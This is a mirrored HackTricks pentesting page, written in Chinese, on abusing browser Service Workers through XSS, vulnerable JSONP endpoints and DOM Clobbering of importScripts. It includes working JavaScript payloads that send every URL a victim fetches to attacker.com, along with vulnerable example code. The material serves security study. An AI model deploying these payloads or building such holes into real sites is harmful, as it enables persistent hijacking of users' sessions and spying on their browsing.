mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
134 lines
8.7 KiB
Markdown
134 lines
8.7 KiB
Markdown
# 滥用Service Workers
|
||
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||
|
||
</details>
|
||
|
||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
找到最重要的漏洞,以便您可以更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
***
|
||
|
||
## 基本信息
|
||
|
||
Service Worker是一个**脚本**,您的浏览器在**后台运行**,与网页分开,为不需要网页或用户交互的功能打开了大门。([更多关于什么是Service Worker的信息](https://developers.google.com/web/fundamentals/primers/service-workers))。\
|
||
然后,您可以通过在**易受攻击的**Web**域**中的**受害者会话**内**创建/修改Service Workers**来滥用Service Workers,从而授予攻击者对受害者将在该域中加载的**所有页面**的控制权。
|
||
|
||
### 检查现有的SWs
|
||
|
||
您可以在**开发者工具**的**应用程序**选项卡的**Service Workers**字段中查看它们。您还可以查看[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)。
|
||
|
||
### 推送通知
|
||
|
||
如果受害者没有授予**推送通知权限**,则Service Worker将**无法从服务器接收通信,除非用户再次访问攻击者页面**。这将**防止**例如,与访问攻击者网页的所有页面保持对话,因此如果找到了漏洞,Service Worker可以接收并执行它。\
|
||
然而,如果受害者**授予推送通知权限,这可能存在风险**。
|
||
|
||
## 攻击创建Service Worker
|
||
|
||
为了利用这个漏洞,您需要找到:
|
||
|
||
* 一种**上传任意JS文件**到服务器并**加载服务工作者的XSS**的方法
|
||
* 一个**易受攻击的JSONP请求**,您可以**操纵输出(使用任意JS代码)**和一个**XSS**来**加载带有恶意Service Worker的JSONP**。
|
||
|
||
在下面的示例中,我将介绍一段代码,用于**注册一个新的Service Worker**,该Service Worker将侦听`fetch`事件,并将**每个获取的URL发送到攻击者的服务器**(这是您需要**上传**到**服务器**或通过**易受攻击的JSONP**响应加载的代码):
|
||
```javascript
|
||
self.addEventListener('fetch', function(e) {
|
||
e.respondWith(caches.match(e.request).then(function(response) {
|
||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||
});
|
||
```
|
||
以下是将**注册服务工作者**的代码(您应该能够通过滥用**XSS**来执行的代码)。在这种情况下,将向**攻击者**的服务器发送一个**GET**请求,通知服务工作者的**注册**是否成功:
|
||
```javascript
|
||
<script>
|
||
window.addEventListener('load', function() {
|
||
var sw = "/uploaded/ws_js.js";
|
||
navigator.serviceWorker.register(sw, {scope: '/'})
|
||
.then(function(registration) {
|
||
var xhttp2 = new XMLHttpRequest();
|
||
xhttp2.open("GET", "https://attacker.com/SW/success", true);
|
||
xhttp2.send();
|
||
}, function (err) {
|
||
var xhttp2 = new XMLHttpRequest();
|
||
xhttp2.open("GET", "https://attacker.com/SW/error", true);
|
||
xhttp2.send();
|
||
});
|
||
});
|
||
</script>
|
||
```
|
||
在滥用易受攻击的JSONP端点的情况下,您应该将值放在`var sw`内。例如:
|
||
```javascript
|
||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||
```
|
||
有一个专门用于利用Service Workers的C2,名为[Shadow Workers](https://shadow-workers.github.io),这将非常有用来滥用这些漏洞。
|
||
|
||
在XSS情况下,24小时缓存指令限制确保恶意或被入侵的SW将在XSS漏洞修复之前最多存活24小时(假设客户端在线)。网站运营者可以通过设置较低的SW脚本TTL来缩小漏洞窗口。我们还鼓励开发人员[构建一个断开连接的SW](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)。
|
||
|
||
## 通过DOM Clobbering滥用SW中的`importScripts`
|
||
|
||
从Service Worker中调用的函数**`importScripts`**可以从不同的域导入脚本。如果使用**攻击者可以修改的参数**调用此函数,他将能够从自己的域导入JS脚本并获取XSS。
|
||
|
||
**这甚至可以绕过CSP保护。**
|
||
|
||
**漏洞代码示例:**
|
||
|
||
* **index.html**
|
||
```html
|
||
<script>
|
||
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
|
||
// attacker controls location.search
|
||
</script>
|
||
```
|
||
* **sw.js**
|
||
```javascript
|
||
const searchParams = new URLSearchParams(location.search);
|
||
let host = searchParams.get('host');
|
||
self.importScripts(host + "/sw_extra.js");
|
||
//host can be controllable by an attacker
|
||
```
|
||
### 使用DOM Clobbering
|
||
|
||
有关DOM Clobbering的更多信息,请查看:
|
||
|
||
{% content-ref url="dom-clobbering.md" %}
|
||
[dom-clobbering.md](dom-clobbering.md)
|
||
{% endcontent-ref %}
|
||
|
||
如果SW用于调用**`importScripts`**的URL/域名**位于HTML元素内**,则可以通过DOM Clobbering进行修改,使SW从您自己的域加载脚本。
|
||
|
||
有关此示例,请查看参考链接。
|
||
|
||
## 参考资料
|
||
|
||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
|
||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
查找最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||
|
||
</details>
|